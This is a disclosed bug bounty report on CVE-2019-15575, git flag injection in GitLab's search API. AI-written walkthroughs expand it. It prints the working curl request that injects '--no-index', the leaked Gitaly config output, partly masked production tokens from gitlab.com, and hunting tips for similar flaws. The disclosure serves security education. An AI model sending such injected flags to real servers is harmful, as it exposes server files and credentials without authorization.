Skip to content
Info disclosure Disclosed report Intermediate CVE-2019-15575

Git flag injection - Search API with scope 'blobs'

The GitLab search API's 'blobs' scope passed the user-supplied 'ref' parameter directly to git grep, allowing an attacker to inject git flags such as '--no-index' and read arbitrary files on the server, including the Gitaly configuration file that contains sensitive tokens.

vakzz Follow

Originally disclosed on HackerOne

Bounty$7,000 High View original
  • Triaged in 1 hour
  • Fixed in 43 days
  • Paid in 43 days
  • Disclosed after 4 months

As requested from @hackerjuan, breaking this out of https://hackerone.com/reports/658013 for easier tracking.

Summary

Gitlab 12.1.6 fixed the wiki_blobs scope of the search api, but the blobs scope is still vulnerable to git flag injection and allows reading any file in /var/opt/gitlab/gitaly including config.toml.

Steps to reproduce

Make a search API call setting the ref parameter to --no-index, search to a common character such as . or a, and scope to blobs:

Bash
curl --header "PRIVATE-TOKEN: $TOKEN" 'http://gitlab-vm.local/api/v4/projects/4/search?scope=blobs&search=.&ref=--no-index

[{"basename":null,"data":"VERSION\u00001\u0000Gitaly, version 1.53.2\n","filename":null,"id":null,"ref":"--no-index","startline":0,"project_id":4},{"basename":null,"data":"config.toml\u00001\u0000# Gitaly configuration file\nconfig.toml\u00002\u0000# This file is managed by gitlab-ctl. Manual changes will be\nconfig.toml\u00003\u0000# erased! To change the contents below, edit /etc/gitlab/gitlab.rb\nconfig.toml\u00004\u0000# and run:\nconfig.toml\u00005\u0000# sudo gitlab-ctl reconfigure\nconfig.toml\u00006\u0000\nconfig.toml\u00007\u0000socket_path = '/var/opt/gitlab/gitaly/gitaly.socket'\nconfig.toml\u00008\u0000bin_dir = '/opt/gitlab/embedded/bin'\nconfig.toml\u00009\u0000\n","filename":null,"id":null,"ref":"--no-index","startline":0,"project_id":4}]

The ref parameter ends up being passed to git grep and setting it to --no-index includes the current working directory and files not managed by git:

/opt/gitlab/embedded/bin/git --git-dir /var/opt/gitlab/git-data/repositories/@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.git grep --ignore-case -I --line-number --null --before-context 2 --after-context 2 --perl-regexp -e a --no-index

Impact

The config.toml can contain sensitive information, api keys and tokens. For example on gitlab.com it contain the sentry.io api tokens as well as the gitaly token:

https://gitlab.com/api/v4/projects/2009901/search?scope=blobs&search=a&ref=--no-index

sentry_dsn = 'https://927bee37df654608xxxxxxxxxxxxxxxx:[email protected]/16
ruby_sentry_dsn = 'https://8ff7dd344e1d4976xxxxxxxxxxxxxxxx:[email protected]/29

token = 'yfZTE0Oxxxxxxx'

I haven't looked into what is possible with the above tokens as potentially there is sensitive information in sentry.io.

Let me know if you have any questions or require any other information.

Cheers, Will

Impact

Read access to any file in /var/opt/gitlab/gitaly including config.toml which may contain sensitive information, tokens, and API keys

The original report as published on HackerOne, by vakzz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

GitLab exposes a search API under /api/v4/projects/:id/search that lets an authenticated user search across a project. The scope parameter selects what is searched: commits, issues, merge requests, wiki content (wiki_blobs) or repository file contents (blobs). For the blobs scope, the API runs a search over the project's git repository, and the caller can supply a ref parameter to choose which branch, tag or revision is searched.

This report is about the blobs scope of that endpoint. The researcher notes that GitLab 12.1.6 had already fixed the wiki_blobs scope against git flag injection, but the blobs scope was still vulnerable. The report was broken out of an earlier report (658013) for easier tracking.

Setup

The researcher worked against a local GitLab instance reachable at [redacted], with a project whose numeric id is 4. Requests were made with a personal access token passed in the PRIVATE-TOKEN header, held in a shell variable $TOKEN. The vulnerable component is Gitaly, the service that GitLab uses to access git repositories; the report shows Gitaly version 1.53.2 in the leaked output. No other account, role or tooling details are given.

Finding it

The ref value supplied by the API caller is passed through to the git grep command that Gitaly runs against the repository. Because it is placed on the command line without being separated from the options, a value beginning with -- is interpreted by git as an option rather than as a revision. The researcher chose --no-index, a git grep option that makes git search the current working directory and files that are not managed by git, instead of only the tracked contents of the repository. Combined with a very common search term such as . or a, this makes the search return content from files on the Gitaly host's filesystem.

Exploitation

Step 1: Send a search request with ref set to a git option

The request sets scope=blobs, a broad search term, and ref=--no-index:

Bash
curl --header "PRIVATE-TOKEN: $TOKEN" 'http://[redacted]/api/v4/projects/4/search?scope=blobs&search=.&ref=--no-index

The scope=blobs selects the vulnerable code path, search=. matches almost any line, and ref=--no-index is the injected flag. The response is a JSON array of matches:

JSON
[{"basename":null,"data":"VERSION\u00001\u0000Gitaly, version 1.53.2\n","filename":null,"id":null,"ref":"--no-index","startline":0,"project_id":4},{"basename":null,"data":"config.toml\u00001\u0000# Gitaly configuration file\nconfig.toml\u00002\u0000# This file is managed by gitlab-ctl. Manual changes will be\nconfig.toml\u00003\u0000# erased! To change the contents below, edit /etc/gitlab/gitlab.rb\nconfig.toml\u00004\u0000# and run:\nconfig.toml\u00005\u0000# sudo gitlab-ctl reconfigure\nconfig.toml\u00006\u0000\nconfig.toml\u00007\u0000socket_path = '/var/opt/gitlab/gitaly/gitaly.socket'\nconfig.toml\u00008\u0000bin_dir = '/opt/gitlab/embedded/bin'\nconfig.toml\u00009\u0000\n","filename":null,"id":null,"ref":"--no-index","startline":0,"project_id":4}]

The first entry leaks the contents of a VERSION file, showing Gitaly, version 1.53.2. The second leaks the first lines of config.toml, the Gitaly configuration file, including the socket_path and bin_dir settings. The ref field in each result echoes the injected value.

Step 2: Understand the command that was built

The report shows the command Gitaly executed for the search:

Text
/opt/gitlab/embedded/bin/git --git-dir /var/opt/gitlab/git-data/repositories/@hashed/6b/86/[redacted].git grep --ignore-case -I --line-number --null --before-context 2 --after-context 2 --perl-regexp -e a --no-index

The --git-dir points at the project's bare repository. The search term is passed with -e, and the injected --no-index sits at the end of the argument list, where a revision would normally go. With --no-index, git grep searches the working directory of the Gitaly process rather than the repository, which is why files such as VERSION and config.toml appear in the results.

Step 3: Confirm the impact on gitlab.com

The researcher applied the same technique to a project on gitlab.com (project id 2009901) and obtained values from config.toml there:

Text
https://gitlab.com/api/v4/projects/2009901/search?scope=blobs&search=a&ref=--no-index

sentry_dsn = 'https://[redacted]:[redacted]/16
ruby_sentry_dsn = 'https://[redacted]:[redacted]/29

token = 'yfZTE0Oxxxxxxx'

This shows the Sentry DSNs and the Gitaly token from the production configuration. The researcher states that they had not looked into what was possible with those tokens, noting only that there could be sensitive information in sentry.io.

Root cause

The ref parameter is passed to git grep as a command-line argument without being protected from being parsed as an option. Any value starting with -- is therefore treated as a git flag. The --no-index flag changes the scope of the search from the repository to the process working directory, which on a Gitaly host contains configuration files. The earlier fix for wiki_blobs did not cover the blobs scope, so the same class of injection remained reachable through the search API.

Impact

An authenticated API user can read any file in /var/opt/gitlab/gitaly, including config.toml, which may contain sensitive information, tokens and API keys. On gitlab.com this exposed the Sentry DSNs and the Gitaly token. The researcher did not investigate what those tokens would allow, so the further consequences are not established in the report.

Fix

The report does not describe the fix. A fix would need to stop caller-controlled ref values from being interpreted as git options, for example by separating options from revisions in the git grep invocation, and to apply the same protection to every search scope, not only wiki_blobs.

Variants to test

  1. Other search scopes that accept a ref: send ref=--no-index with a common search term and check whether results contain files outside the repository.
  2. Other git options that change what is read or written: try flags that alter output or paths and observe whether the response changes in a way the API should not allow.
  3. Other endpoints that pass user input to git commands (repository file browsing, diffs, blame): supply a value beginning with -- and look for errors or output that reveals option parsing.
  4. Different GitLab versions: test instances before and after 12.1.6 to see whether wiki_blobs is fixed while blobs remains vulnerable.

Hunting notes

This kind of bug tends to hide wherever a web API forwards user input into a command-line tool, especially git wrappers such as Gitaly. During recon, look for parameters named ref, revision, branch or path that are accepted by search or file endpoints, and try values starting with --. A positive result is a response that contains file contents or paths that are not part of the repository, or an error message that shows the constructed command. The researcher demonstrated impact by leaking config.toml from a local instance and then reproducing it against gitlab.com, showing tokens in the response.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

GitLab is a website where teams keep and share code. Every project on GitLab is stored in a repository, which is a folder of files plus a full history of every change ever made to them. GitLab also offers a search box, and behind that search box there is an API: a way for a program (or a person with a command-line tool) to ask GitLab questions and get answers back as structured data instead of a web page.

The search API lets you say what kind of thing you want to search: commits, issues, merge requests, wiki pages, or the actual contents of the files in the repository. That last one is called the blobs scope. When you search file contents, you can also say which version of the project to look in, using a parameter called ref (short for reference: a branch, a tag, or a specific revision).

Here is the problem. To actually perform the search, GitLab does not read the files itself. It hands the job to a separate program called Gitaly, which in turn runs a command-line tool called git grep. The ref value that the user typed is pasted into that command line. If the value starts with two dashes (--), the git program does not treat it as a branch name at all: it treats it as an option, an instruction to change how the command behaves.

The researcher found that sending ref=--no-index makes git grep search the folder the Gitaly program happens to be running in, on the server's own disk, instead of searching only the project's files. That folder contains configuration files, including config.toml, which holds secrets such as API tokens. So a normal user of the API could read files from the server that they were never meant to see.

This is called git flag injection: user input that should be data gets interpreted as a command-line flag. The same class of bug had already been fixed for the wiki_blobs scope in GitLab 12.1.6, but the blobs scope was left open. The report was split out of an earlier report (658013) so it could be tracked on its own.

Context

GitLab exposes a search API under /api/v4/projects/:id/search. The :id part is the numeric identifier of a project. Anyone with a valid account and a valid token can call it to search inside a project they can access.

The scope parameter chooses what gets searched: commits, issues, merge requests, wiki content (wiki_blobs) or repository file contents (blobs). For the blobs scope, the API runs a search over the project's git repository, and the caller can supply a ref parameter to choose which branch, tag or revision is searched.

This report is about the blobs scope of that endpoint. GitLab 12.1.6 had already fixed the wiki_blobs scope against git flag injection, but the blobs scope was still vulnerable. The report was broken out of an earlier report (658013) for easier tracking.

Setup

The researcher worked against a local GitLab instance reachable at [redacted], with a project whose numeric id is 4. Requests were made with a personal access token passed in the PRIVATE-TOKEN header, held in a shell variable $TOKEN. The vulnerable component is Gitaly, the service that GitLab uses to access git repositories; the report shows Gitaly version 1.53.2 in the leaked output. No other account, role or tooling details are given.

A few of those words deserve a plain explanation before we go further:

  • API: a fixed set of addresses on a server that return data rather than web pages. Think of it as a service counter: you hand over a request in a known format and get an answer in a known format.
  • Personal access token: a long random string that acts like a password for programs. You put it in a request header (a small piece of extra information attached to the request) so the server knows who is asking. It is a secret: anyone who has it can act as you.
  • Header: extra information sent alongside a request, such as who you are or what format you accept.
  • Gitaly: GitLab's helper service that does the actual git work on the server. GitLab the website talks to Gitaly, and Gitaly talks to git.
  • git grep: a command that searches the text inside a git repository and prints the matching lines.

Finding it

The ref value supplied by the API caller is passed through to the git grep command that Gitaly runs against the repository. Because it is placed on the command line without being separated from the options, a value beginning with -- is interpreted by git as an option rather than as a revision. The researcher chose --no-index, a git grep option that makes git search the current working directory and files that are not managed by git, instead of only the tracked contents of the repository. Combined with a very common search term such as . or a, this makes the search return content from files on the Gitaly host's filesystem.

In everyday terms: imagine a librarian who is told "fetch me the book called --ignore-the-shelves." A well-behaved librarian would say no such book exists. A careless one might read the instruction as "ignore the shelves" and start rummaging through the back office. The ref value is the book title, and git is the careless librarian.

Exploitation

Step 1: Send a search request with ref set to a git option

The request sets scope=blobs, a broad search term, and ref=--no-index:

Bash
curl --header "PRIVATE-TOKEN: $TOKEN" 'http://[redacted]/api/v4/projects/4/search?scope=blobs&search=.&ref=--no-index

Line by line:

  • curl is a command-line tool for sending HTTP requests, the same kind of request your browser sends when you load a page.
  • --header "PRIVATE-TOKEN: $TOKEN" attaches the token header. $TOKEN is a shell variable holding the secret string, so the secret itself is not written in the command.
  • The URL points at the local test instance [redacted], project 4, and the search endpoint.
  • scope=blobs selects the vulnerable code path: search inside repository file contents.
  • search=. is the search term. A single dot matches almost any line of text, so the search will return a lot of results.
  • ref=--no-index is the injected flag. This is the value that will be pasted into the git grep command line and read as an option.

The response is a JSON array of matches:

JSON
[{"basename":null,"data":"VERSION\u00001\u0000Gitaly, version 1.53.2\n","filename":null,"id":null,"ref":"--no-index","startline":0,"project_id":4},{"basename":null,"data":"config.toml\u00001\u0000# Gitaly configuration file\nconfig.toml\u00002\u0000# This file is managed by gitlab-ctl. Manual changes will be\nconfig.toml\u00003\u0000# erased! To change the contents below, edit /etc/gitlab/gitlab.rb\nconfig.toml\u00004\u0000# and run:\nconfig.toml\u00005\u0000# sudo gitlab-ctl reconfigure\nconfig.toml\u00006\u0000\nconfig.toml\u00007\u0000socket_path = '/var/opt/gitlab/gitaly/gitaly.socket'\nconfig.toml\u00008\u0000bin_dir = '/opt/gitlab/embedded/bin'\nconfig.toml\u00009\u0000\n","filename":null,"id":null,"ref":"--no-index","startline":0,"project_id":4}]

What this shows:

  • The whole answer is a list (the square brackets) of result objects (the curly braces).
  • Each object has fields such as data (the matching text), ref (which revision was searched) and project_id.
  • The first entry leaks the contents of a VERSION file, showing Gitaly, version 1.53.2. That file is not part of the project; it is a file on the server.
  • The second leaks the first lines of config.toml, the Gitaly configuration file, including the socket_path and bin_dir settings.
  • The ref field in each result echoes the injected value, --no-index, confirming that the value was taken as given.
  • The \u0000 sequences are null characters and the \n sequences are line breaks; they are how the raw output of the search is encoded inside JSON.

Step 2: Understand the command that was built

The report shows the command Gitaly executed for the search:

Text
/opt/gitlab/embedded/bin/git --git-dir /var/opt/gitlab/git-data/repositories/@hashed/6b/86/[redacted].git grep --ignore-case -I --line-number --null --before-context 2 --after-context 2 --perl-regexp -e a --no-index

Reading it from left to right:

  • /opt/gitlab/embedded/bin/git is the full path to the git program on the server.
  • --git-dir /var/opt/gitlab/git-data/repositories/@hashed/...git tells git which repository to work with. The long hashed folder name is how GitLab stores projects on disk; it is not the project's display name.
  • grep is the git sub-command that searches text.
  • --ignore-case makes the search case-insensitive.
  • -I skips binary files.
  • --line-number prints line numbers with matches.
  • --null separates output fields with a null character, which is why the JSON above contains \u0000.
  • --before-context 2 --after-context 2 prints two lines before and after each match.
  • --perl-regexp says the search pattern uses Perl-style regular expressions.
  • -e a supplies the search pattern, here the letter a.
  • --no-index is the injected flag, sitting at the end of the argument list, where a revision would normally go.

With --no-index, git grep searches the working directory of the Gitaly process rather than the repository, which is why files such as VERSION and config.toml appear in the results. The key point is that the user-supplied ref was never separated from the options, so it could become one.

Step 3: Confirm the impact on gitlab.com

The researcher applied the same technique to a project on gitlab.com (project id 2009901) and obtained values from config.toml there:

Text
https://gitlab.com/api/v4/projects/2009901/search?scope=blobs&search=a&ref=--no-index

sentry_dsn = 'https://[redacted]:[redacted]/16
ruby_sentry_dsn = 'https://[redacted]:[redacted]/29

token = 'yfZTE0Oxxxxxxx'

What this shows:

  • The URL is the same pattern as before, but against the real gitlab.com and a different project id.
  • search=a is again a very common letter, chosen so that many lines match.
  • ref=--no-index is the same injected flag.
  • The output contains sentry_dsn and ruby_sentry_dsn values. A DSN (data source name) is a connection string that tells an application where to send error reports and includes a key that authorises those reports. The xxxxxxxxxxxxxxxx parts are where the researcher masked the secret characters in the published report.
  • The output also contains a token value, again partly masked.

This shows the Sentry DSNs and the Gitaly token from the production configuration. The researcher states that they had not looked into what was possible with those tokens, noting only that there could be sensitive information in sentry.io.

Root cause

The ref parameter is passed to git grep as a command-line argument without being protected from being parsed as an option. Any value starting with -- is therefore treated as a git flag. The --no-index flag changes the scope of the search from the repository to the process working directory, which on a Gitaly host contains configuration files. The earlier fix for wiki_blobs did not cover the blobs scope, so the same class of injection remained reachable through the search API.

A useful comparison: a form that asks for your name and then builds a sentence by gluing your answer into it. If you answer "Alice, and also please unlock the door," a careless system might treat the second half as an instruction. The fix is to keep data and instructions in separate boxes, so that whatever the user types is always treated as data.

Impact

An authenticated API user can read any file in /var/opt/gitlab/gitaly, including config.toml, which may contain sensitive information, tokens and API keys. On gitlab.com this exposed the Sentry DSNs and the Gitaly token. The researcher did not investigate what those tokens would allow, so the further consequences are not established in the report.

Fix

The report does not describe the fix. A fix would need to stop caller-controlled ref values from being interpreted as git options, for example by separating options from revisions in the git grep invocation, and to apply the same protection to every search scope, not only wiki_blobs.

Variants to test

  1. Other search scopes that accept a ref: send ref=--no-index with a common search term and check whether results contain files outside the repository.
  2. Other git options that change what is read or written: try flags that alter output or paths and observe whether the response changes in a way the API should not allow.
  3. Other endpoints that pass user input to git commands (repository file browsing, diffs, blame): supply a value beginning with -- and look for errors or output that reveals option parsing.
  4. Different GitLab versions: test instances before and after 12.1.6 to see whether wiki_blobs is fixed while blobs remains vulnerable.

Hunting notes

This kind of bug tends to hide wherever a web API forwards user input into a command-line tool, especially git wrappers such as Gitaly. During recon, look for parameters named ref, revision, branch or path that are accepted by search or file endpoints, and try values starting with --. A positive result is a response that contains file contents or paths that are not part of the repository, or an error message that shows the constructed command. The researcher demonstrated impact by leaking config.toml from a local instance and then reproducing it against gitlab.com, showing tokens in the response.

Glossary

  • API: a fixed set of addresses on a server that programs use to ask for data or actions, returning structured answers instead of web pages.
  • Authentication: proving who you are to a system, usually with a password or a token.
  • Bare repository: a git repository stored without a working copy of the files, as servers usually keep them.
  • Blob: in git, the stored content of a single file at a particular version.
  • Bounty: a payment made by a company to a researcher who reports a valid security bug.
  • Branch: a named line of development in a git repository.
  • Command injection: a bug where user input is interpreted as part of a command instead of as plain data.
  • Commit: a saved snapshot of changes in a git repository, with a message and an identifier.
  • Configuration file: a file that holds settings for a program, often including secrets such as passwords and keys.
  • curl: a command-line tool for sending HTTP requests.
  • DSN (data source name): a connection string that tells an application where to send data, such as error reports, and includes a key that authorises it.
  • Flag injection: a specific kind of command injection where user input is read as a command-line option (a flag) rather than as a value.
  • Git: the version-control system that stores file history in repositories.
  • git grep: a git command that searches the text inside a repository and prints matching lines.
  • Gitaly: GitLab's internal service that performs git operations on repositories on the server.
  • Header: extra information sent with an HTTP request or response, such as identity or content type.
  • HTTP request: a message a client sends to a server asking for a resource or an action.
  • JSON: a text format for structured data, built from lists, objects, strings and numbers.
  • Null character: a character with value zero, used here as a separator between output fields.
  • Option / flag: an argument starting with - or -- that changes how a command behaves, as opposed to a value the command acts on.
  • Parameter: a named value in a request, such as scope or ref in a URL.
  • Personal access token: a long random secret string that lets a program act as a user, sent in a header instead of a password.
  • Project id: the numeric identifier GitLab assigns to a project.
  • ref: a reference to a particular version of a repository, such as a branch, tag or revision.
  • Regular expression: a pattern language for describing text to match.
  • Repository: a folder of files plus the full history of changes to them, managed by git.
  • Scope: in this API, the kind of thing being searched, such as commits, issues or file contents.
  • Sentry: a service for collecting and reporting application errors.
  • Severity: a rating of how serious a security bug is.
  • Tag: a named marker on a specific commit, often used for releases.
  • Token: a secret string used to prove identity or authorise an action.
  • Version control: a system that records changes to files over time so earlier versions can be recovered.
  • Vulnerability: a weakness in software that allows someone to do something the software's owners did not intend.
  • Wiki: a set of editable pages attached to a project.
  • Working directory: the folder a running program is currently operating in, which is where relative file paths point.

More by vakzz

View all

24 more disclosed reports, best first.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.